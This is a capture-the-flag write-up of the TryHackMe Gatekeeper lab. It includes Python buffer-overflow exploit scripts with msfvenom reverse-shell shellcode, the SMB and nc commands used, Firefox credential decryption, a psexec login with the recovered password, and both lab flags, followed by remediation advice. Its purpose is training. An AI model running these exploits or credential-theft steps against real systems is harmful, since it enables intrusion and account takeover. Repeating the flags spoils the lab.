This document is a structured security write-up based on hands-on exploitation of the Gatekeeper lab on TryHackMe website: https://tryhackme.com/room/gatekeeper
Date: January 23, 2026 Source: TryHackMe — Gatekeeper & Personal Hands-On Practice
Summary
The Gatekeeper lab involves a Windows 7 machine running a vulnerable custom service on port 31337. Initial access was achieved by identifying an exposed SMB share which allowed for the exfiltration of the gatekeeper.exe binary. Through offline dynamic analysis using Immunity Debugger, a stack-based buffer overflow was identified, allowing for an EIP overwrite. By crafting a custom Python exploit with a JMP ESP pointer and an MSFvenom-generated shellcode, a reverse shell was established. Lateral movement and privilege escalation were then performed by decrypting stored Firefox credentials, yielding the password for the user Mayor, who possessed administrative rights on the system.
Technical Overview
1. Discovery
By first, Nmap:
nmap -sC -sV -v -Pn -p- 10.81.187.170Result:
Here is Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) standalone workgroup server, domain name gatekeeper.
Interesting port:
31337/tcp open Elite?SMB check:
smbclient -L //10.81.187.170/ -NResult:
smbclient //10.81.187.170/Users -NDownload it:
mget gatekeeper.exeIn the other directories nothing interesting.
Check the strange port:
nc 10.81.187.170 31337Huh. There is obviosly our challenge. There is gatekeeper.exe that we should to understand offline.
2. Penetration
I know that the lab about buffer overflow, so let's go deep into this gatekeeper.exe binary.
Transfer gatekeeper.exe to a Windows machine and run it.
We should to work with the Immunity Debugger tool this time. So, run it as well.
Attach gatekeeper.exe to the tool and click on run.
Now let's send a lot of "A".
Here we go, the program crashed. EIP is 41414141, what means possibly there is buffer overflow (read about this at least in two words if you have no idea what is this).
Max byte test:
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 333Restart the program (Ctrl+F2) and send it.
Look at EIP:
Use it:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 333 -q 39654138Result:
So, exact match at offset here is 146 byte.
In the next I'm gonna use custom scripts to deliver an exploit. You can find these in my GitHub profile or copy from this page.
Verifier for buffer overflow, script "bof_Bs.py":
#!/usr/bin/python3
import sys
import socket
padding = b"A" * 146
# 146 is our offset
eip = b"B" * 4
# Look for 42424242 in EIP
payload = padding + eip
try:
print(f"[+] Sending payload to the target...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.15", 31337)) # our Windows machine where is running the binary
s.send(payload + b"\r\n")
s.close()
print("[+] Payload sent.")
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit()
python3 bof_Bs.pyThe program crashed. Look at EIP value:
Excellent. That works.
Restart the program.
Another script "bof_badcharacters.py" for searching a bad characters:
#!/usr/bin/python3
import sys
import socket
padding = b"A" * 146
eip = b"B" * 4
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
payload = padding + eip + badchars
try:
print(f"[+] Sending payload to the target...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.0.15", 31337))
s.send(payload + b"\r\n")
s.close()
print("[+] Payload sent.")
except Exception as e:
print(f"[-] Connection failed: {e}")
sys.exit()Lisf of the characters you can find in Google or copy above.
python3 bof_badcharacters.pyResult:
So, 42424242 in EIP, now left click on ESP value -> right click Follow in DUMP -> see in the 00C41A88 section "…07 08 09 00…" — where 00 there supposed to be 0A so our bad character is x0a.
Now look for a pointers (download "mona" from GitHub):
!mona jmp -r esp -cpb "\x00\x0a"We have two pointers there:
0x080414c3
0x080416bfGenerate a shellcode (IP and port of your listener; exclude the bad characters on -b parameter):
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.134.69 LPORT=5555 -b "\x00\x0a" -f pythonCopy all of that.
Now use the another script "bof_shellcode.py" for sending the exploit:
#!/usr/bin/python3
import sys
import socket
padding = b"A" * 146
# 0x080416bf, one of our pointers
eip = b"\xbf\x16\x04\x08"
# Tell a CPU do nothing
nops = b"\x90" * 32
# msfvenom output with our reverse shell shellcode
shellcode = (
b""
b"\xba\xa6\x30\x01\x1b\xd9\xca\xd9\x74\x24\xf4\x5d"
b"\x2b\xc9\xb1\x52\x31\x55\x12\x83\xed\xfc\x03\xf3"
b"\x3e\xe3\xee\x07\xd6\x61\x10\xf7\x27\x06\x98\x12"
b"\x16\x06\xfe\x57\x09\xb6\x74\x35\xa6\x3d\xd8\xad"
b"\x3d\x33\xf5\xc2\xf6\xfe\x23\xed\x07\x52\x17\x6c"
b"\x84\xa9\x44\x4e\xb5\x61\x99\x8f\xf2\x9c\x50\xdd"
b"\xab\xeb\xc7\xf1\xd8\xa6\xdb\x7a\x92\x27\x5c\x9f"
b"\x63\x49\x4d\x0e\xff\x10\x4d\xb1\x2c\x29\xc4\xa9"
b"\x31\x14\x9e\x42\x81\xe2\x21\x82\xdb\x0b\x8d\xeb"
b"\xd3\xf9\xcf\x2c\xd3\xe1\xa5\x44\x27\x9f\xbd\x93"
b"\x55\x7b\x4b\x07\xfd\x08\xeb\xe3\xff\xdd\x6a\x60"
b"\xf3\xaa\xf9\x2e\x10\x2c\x2d\x45\x2c\xa5\xd0\x89"
b"\xa4\xfd\xf6\x0d\xec\xa6\x97\x14\x48\x08\xa7\x46"
b"\x33\xf5\x0d\x0d\xde\xe2\x3f\x4c\xb7\xc7\x0d\x6e"
b"\x47\x40\x05\x1d\x75\xcf\xbd\x89\x35\x98\x1b\x4e"
b"\x39\xb3\xdc\xc0\xc4\x3c\x1d\xc9\x02\x68\x4d\x61"
b"\xa2\x11\x06\x71\x4b\xc4\x89\x21\xe3\xb7\x69\x91"
b"\x43\x68\x02\xfb\x4b\x57\x32\x04\x86\xf0\xd9\xff"
b"\x41\x3f\xb5\x79\xd4\xd7\xc4\x85\xc2\x94\x40\x63"
b"\x86\xca\x04\x3c\x3f\x72\x0d\xb6\xde\x7b\x9b\xb3"
b"\xe1\xf0\x28\x44\xaf\xf0\x45\x56\x58\xf1\x13\x04"
b"\xcf\x0e\x8e\x20\x93\x9d\x55\xb0\xda\xbd\xc1\xe7"
b"\x8b\x70\x18\x6d\x26\x2a\xb2\x93\xbb\xaa\xfd\x17"
b"\x60\x0f\x03\x96\xe5\x2b\x27\x88\x33\xb3\x63\xfc"
b"\xeb\xe2\x3d\xaa\x4d\x5d\x8c\x04\x04\x32\x46\xc0"
b"\xd1\x78\x59\x96\xdd\x54\x2f\x76\x6f\x01\x76\x89"
b"\x40\xc5\x7e\xf2\xbc\x75\x80\x29\x05\x85\xcb\x73"
b"\x2c\x0e\x92\xe6\x6c\x53\x25\xdd\xb3\x6a\xa6\xd7"
b"\x4b\x89\xb6\x92\x4e\xd5\x70\x4f\x23\x46\x15\x6f"
b"\x90\x67\x3c"
)
payload = padding + eip + nops + shellcode
try:
print(f"[+] Sending payload to the target...")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.81.187.170", 31337)) # IP and port of the target
s.send(payload + b"\r\n")
s.close()
print("[+] Exploit sent.")
except Exception as e:
print(f"[-] Error: {e}")
sys.exit()
nc -lnvp 5555
python3 bof_shellcode.pyResult:
Success.
The User Flag:
{H4lf_W4y_Th3r3}3. Escalation
Transfer winPEAS.bat to the target via SMB and run it:
winPEAS.bat cmdwinPEAS results:
In the Firefox directory (C:\Users\natbat\AppData\Roaming\Mozilla\Firefox) some interesting files. Firefox is not preinstalled on Windows by the way, so that's obviosly for us.
Interesting Firefox files:
cert9.db
cookies.sqlite
key4.db
logins.jsonDownload it via SMB to your machine and put it in an one folder, let's call it "ffx".
Download firefox_decrypt.py from Internet.
Run it:
./firefox_decrypt.py ffxResult:
mayor:8CL7O1N78MdrCIsVNow we have the high-privileged user in our pocket.
impacket-psexec mayor:8CL7O1N78MdrCIsV@10.81.187.170The Root Flag:
{Th3_M4y0r_C0ngr4tul4t3s_U}Security Failures & Root Causes Classification
- Improper Input Validation — Buffer Overflow in Custom Binary — Critical Impact — The gatekeeper.exe service failed to validate the length of user-supplied input before copying it to a fixed-size stack buffer, allowing for arbitrary code execution.
- Sensitive Information Disclosure — Anonymous SMB Access — High Impact — The server allowed unauthenticated access to the /Users share, enabling an attacker to download internal binaries for offline reverse engineering and exploit development.
- Insecure Credential Storage — Reused/Stored Browser Passwords — Medium Impact — The administrative user Mayor stored high-privileged credentials within the Firefox profile; since these were not protected by a Master Password, they were easily decrypted once a low-privileged foothold was gained.
- Lack of Exploit Mitigations — Missing DEP/ASLR — High Impact — The vulnerable binary was compiled without modern protections like Data Execution Prevention or Address Space Layout Randomization, significantly simplifying the exploitation of the memory corruption flaw.
Remediation Recommendations
- Apply secure coding practices to the gatekeeper.exe binary by replacing unsafe functions with bounded alternatives to prevent buffer overflows.
- Disable anonymous SMB access and restrict share permissions to authenticated users only, ensuring that sensitive system files and binaries cannot be exfiltrated.
- Implement endpoint hardening by enabling system-wide DEP and ASLR, and migrating from the end-of-life Windows 7 OS to a supported version with modern memory protections.
- Enforce a password policy that discourages storing administrative credentials in web browsers and requires the use of a Master Password if browser-based storage is used.
Conclusion
The compromise of the Gatekeeper lab highlights the danger of running unvetted custom applications on production systems. While the initial entry relied on a misconfigured file share, the total system takeover was made possible by a classic memory corruption vulnerability that is easily mitigated by modern compiler flags. This scenario serves as a reminder that security is not just about patching known software, but also about the rigorous auditing of proprietary tools and the protection of stored credentials that facilitate lateral movement.
Write-up compiled based on TryHackMe Gatekeeper (https://tryhackme.com/room/gatekeeper) lab.